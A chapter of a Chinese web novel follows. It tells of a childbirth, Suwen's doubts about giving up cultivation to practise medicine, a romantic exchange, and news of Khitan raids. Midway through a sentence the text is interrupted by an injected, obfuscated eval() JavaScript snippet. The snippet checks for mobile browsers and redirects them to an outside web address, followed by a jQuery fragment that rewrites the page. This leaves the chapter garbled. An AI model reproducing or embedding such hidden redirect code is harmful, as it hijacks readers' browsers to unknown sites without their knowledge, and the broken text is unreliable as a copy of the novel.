60. 黄花白马(十)
作品:《上穷青落》 方如珮见红之后,肚子并没有马上疼起来,一家子紧张了一下午,胎儿忽然又不急了,直等到三日后一个深夜,方如珮忽然在睡梦中被疼醒,生产从此时才算是正式开始。因是头回生育,方如珮的产程比玲珑夫人慢不少,里间有稳婆指导照顾,素问与方灵枢轮番守在产房外便可。
这一守,便是两天一夜,到了第三日清晨,近乎昏迷的方如珮总算将孩子生了出来,一确认孩子平安无事,她立刻昏睡过去。
石水玉在外面陪着素问,一听侍女描述完里间的清醒,顿时脸都被吓白了:“生孩子怎么如此可怕?”
侍女道:“产婆说多生几个就好了。”
李重琲无情戳穿:“产婆在骗你,好叫你没那么害怕,尤其是你这种没生过孩子的女子,只要心存侥幸,一个不成就再生一个,直等生麻木了,自然不疼了。”
侍女还未出阁,闻言甚是嗔怪地看了李重琲一眼,小声道:“那总归是要嫁人生子,还能不生么?”
李重琲摇头叹息:“如此,我就只能祝你是个好生养的罢!”
侍女听到这里,终于意识到李重琲是个混不吝的,为了防止再听到什么惊世骇俗的言论,当即拔腿跑回了房里。
李重琲不以为意,心知愚人不理解自己,但肯定有人会明白,何况他深有体会,非得劝说一般才看罢休,于是转向石水玉,道:“人们都说女子生育如同在鬼门关走一遭,可不是吓唬小孩!我有个亲人当时也很危险,全靠素问将人救了回来。”
素问蓦然被点,迎上石水玉的目光,只能点头。
石水玉了然:“原来如此……”
李重琲奇道:“什么如此?”
石水玉不说话了。
李重琲心里一惊,立刻追问:“你知道什么?”
石水玉无奈:“大惊小怪做什么?街巷皆有传闻,所谓空穴来风,自然有所依据,我只是听说,又没有与别人再讨论。”
李重琲顿时明白石水玉究竟是何意,无奈这个话题由自己挑起,也不好怪罪别人,不由气闷地坐到廊下,脸上红一阵白一阵。
素问不想李重琲陷入误区,但是也不好当着石水玉的面劝说,便起身道:“我去看看方娘子,你们要去么?”
两人还没说话,刚从房间出来的方母闻言惊道:“自然不可,产房血腥气……”
素问淡淡道:“我帮人接生过。”
方母一噎,瞪大了眼睛。
方灵枢起身,向素问道:“劳烦你帮我看看阿姐怎么样了。”
素问一点头,错过方母,进了房间。这会儿方如珮已经熟睡,嬷嬷正在为孩子擦身,素问到床边,先看了脉相,确认方如珮只是太过疲倦,心里总算是松了口气——她来人间不足一载,遇见两次妇人生子,虽然产妇有区别,但两家的外在条件都是不错的,可是她们生产尚且如此凶险,若是换成平民百姓乃至于贫穷困苦的人家呢?她们……能顺利地从鬼门关闯出来么?
方灵枢在外面等了会儿,见里面一直没动静,便不大担心,没想到过了片刻,素问忽然呆愣愣地走了出来,他的心顿时又提了起来,连忙上前问道:“怎么样?”
素问抬头看了他一眼,顿了顿,才回过神,温声道:“你姐姐一切都好,放宽心。”
方灵枢悄悄吐了口气,又见素问垂着头要离开,回想起她方才的神情,还是追上去问:“那你刚刚在想什么?方便说么?”
素问有些低落地开口:“没什么不能说,我就是觉得这一身医术只用来给你治病,未免太可惜了。”
方灵枢不禁失笑:“这话从何说起?你有自己的医庐,也治过很多病者呀!”
素问摇了摇头,道:“来洛阳之前,我一直只知道精进医术,却没想过为何要这样,等将来有一日离开洛阳,大概还是会与从前一样。也许有一天我的医术会登峰造极,可是却没什么人能从中受益——唔,月见除外——那我学医是为了什么呢?”
方灵枢被问住了,实在是他自己从来没有这样的疑惑,一番思索后,问:“离开洛阳后,你还能设法行医么?”
素问不必想,摇了摇头。
“那就别回去了。”方灵枢道。
素问笑了笑,柔声道:“很久以后,还是要回去的呀。”
方灵枢不解:“回去做什么?专心钻研医术,然后呢?方才你自己也说了,即便是登峰造极,也无人可医,若是你果真只沉浸于技艺便也罢了,偏偏自己也觉得可惜,既如此,为何不出山行医去呢?”
素问沉默好半晌,也想不出该如何解释,最终只能道:“我的事情远在你想象之外。”
方灵枢并不意外,只是忍不住轻叹:“我自然不能让你违逆师长,但若你有一日改变了想法,我愿意倾尽一切为你提供助力。”
“比如呢?”素问来了兴趣,“你能给我什么?行医的本钱么?”
方灵枢毫不犹豫道:“我的一切,而且我会陪你一起!”
素问在问出这个问题时,其实已经知道方灵枢会如何作答,令她感到惊讶的是自己,不知不觉中,她的心就这样偏向了方灵枢所在的地方,修仙、封神……都变得不那么重要,若是师父也能理解自己的决定,她是真的可以放弃从前的一切,一头扎进红尘中去。
可瑶山仙君既然苦心孤诣为她筹谋一个进入神界的机会,恐怕光知道素问的想法便要昏厥,又怎么会答应?
方灵枢见素问脸色数变,有欣喜有坚定,最终却又回到了茫然,不禁问:“你在担心什么?是怕药圣谷的前辈不答应么?”
“嗯……”素问再次心生退意,脚步也跟着退了一步,“我……”
方灵枢眼下黯然,不过一瞬便调解好了情绪,温声道:“此事关乎前程,还需从长计议。”
素问“嗯”了一声,含糊道:“我会仔细想一想。”
方灵枢笑道:“你是修行之人,寿命会很长的,即便所有的路都试着走一走也无妨,所以莫要因为前路未知而踌躇不前,顺从自己的内心便是。”
素问奇道:“若是我决定去行医的时候已经七老八十了呢?”
“我还在……”方灵枢刚开口,便见素问嘴角笑意一凝,立刻改口道,“还在洛阳的话,你就来找我,但凡能走得动,我少不得要陪你去走一走的。”
“好!”素问认真道,“那你可要好好活着,别等我来找的时候却找不见人了。”
“哪怕做了鬼也会等在原地!”方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631613|163002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灵枢说完,忽然觉得此话堪称油腔滑调,一时竟分不清是因为羞还是因为愧,从脸颊一直红到了耳根。
素问心知以后的事不由方灵枢做主,但是此刻能听他这样说,心里也很高兴,便笑眯眯地背着手探身去看方灵枢,脆生生地道:“我记住了哦!”
方灵枢没有躲开,双眸黑亮,发誓一般重重地“嗯”了一声。
不远处匆匆跟来的李重琲见此情景,脚步不由顿住,将自己阻隔在了树丛之后。石水玉在一旁看着,也不知该同情李重琲,还是应当心疼自己,只觉得人当真是无事犯贱,明明有捷径可选,偏偏都要走那条死胡同,让自己心痛头疼得吃也吃不好、睡也睡不香才满意,其实转变只在一念之间——
“何苦来?”
李重琲回头看石水玉。
“若是人能管得住自己的心就好了。”石水玉看着素问的方向,喃喃道,“如此,就没有那么多伤心事。”
“我不要。”李重琲说罢,伤情之态退去,变得十分坚定,“我从前如此,往后也如此,素问不喜欢我,我最多自苦一番,可若是连喜欢一个人也不能自由随心,那我做人干什么?不如死了算了。”
“你……”石水玉摇头失笑,感慨道,“不错,若知难而退,那也不是你了。”话音刚落,她忽然想起一事,笑意微凝,斟酌一瞬后,转头看向李重琲,问道,“回洛阳的事可有定论?”
李重琲嘴上说得洒脱,到底见不得素问和方灵枢那般亲近,正磨着牙思索怎么去破坏,忽然听到石水玉的问话,愣了一瞬才明白她说的是什么,答道:“本来要问的,这不是方家姐姐生孩子么?我现在就去问。”
石水玉连忙拦他:“不必,我与素问说过了,现在方家姐姐既然无事,等孩子满月后我们便出发回去。”
李重琲“啧”地一声,有些不愿意:“那岂不是还要等一个月?”
“总归要等方伯母一起呀。”
“来时也不是这样说的。”李重琲顿时愁容满面,“一个月太长了,万一走漏消息……”
石水玉立刻道:“怎么会走漏?你还与谁说了?”
李重琲如实道:“只有你们三人,明月奴大概也知道,不过不要紧,他不会到处说的。”
石水玉沉默片刻,轻声道:“你是怀疑我?”
“当然没有。”李重琲见石水玉神色不好,连忙笑嘻嘻道,“你肯豁出命来保护我,怎么会愿意叫别人来灭我的口?我是怕有仆从多话,不过肯定是我想多了,先前说起此事的时候也没有旁人在。”
石水玉不知到底听没听进去,独自怔忡片刻,一言不发地转身走了。李重琲有些摸不着头脑,还没等他想清楚,两个方向的人都离开了,倒是他自己,也不知如何就忙活了两天,偏偏还没能催得动素问快些回洛阳。
但是很快,李重琲的想法便被提上了日程——就在方如珮生孩子的这两天,街市上渐渐传出消息,到得五月下旬,众人在杨勤礼处得到了验证:
本月初三,契丹侵扰振武军镇和新州,其中新州距离应州浑源县不过两百多里路,急行军一天一夜便可到达。
那个被李重琲视为石敬瑭催粮借口的契丹军,忽然之间有了实体,近在咫尺。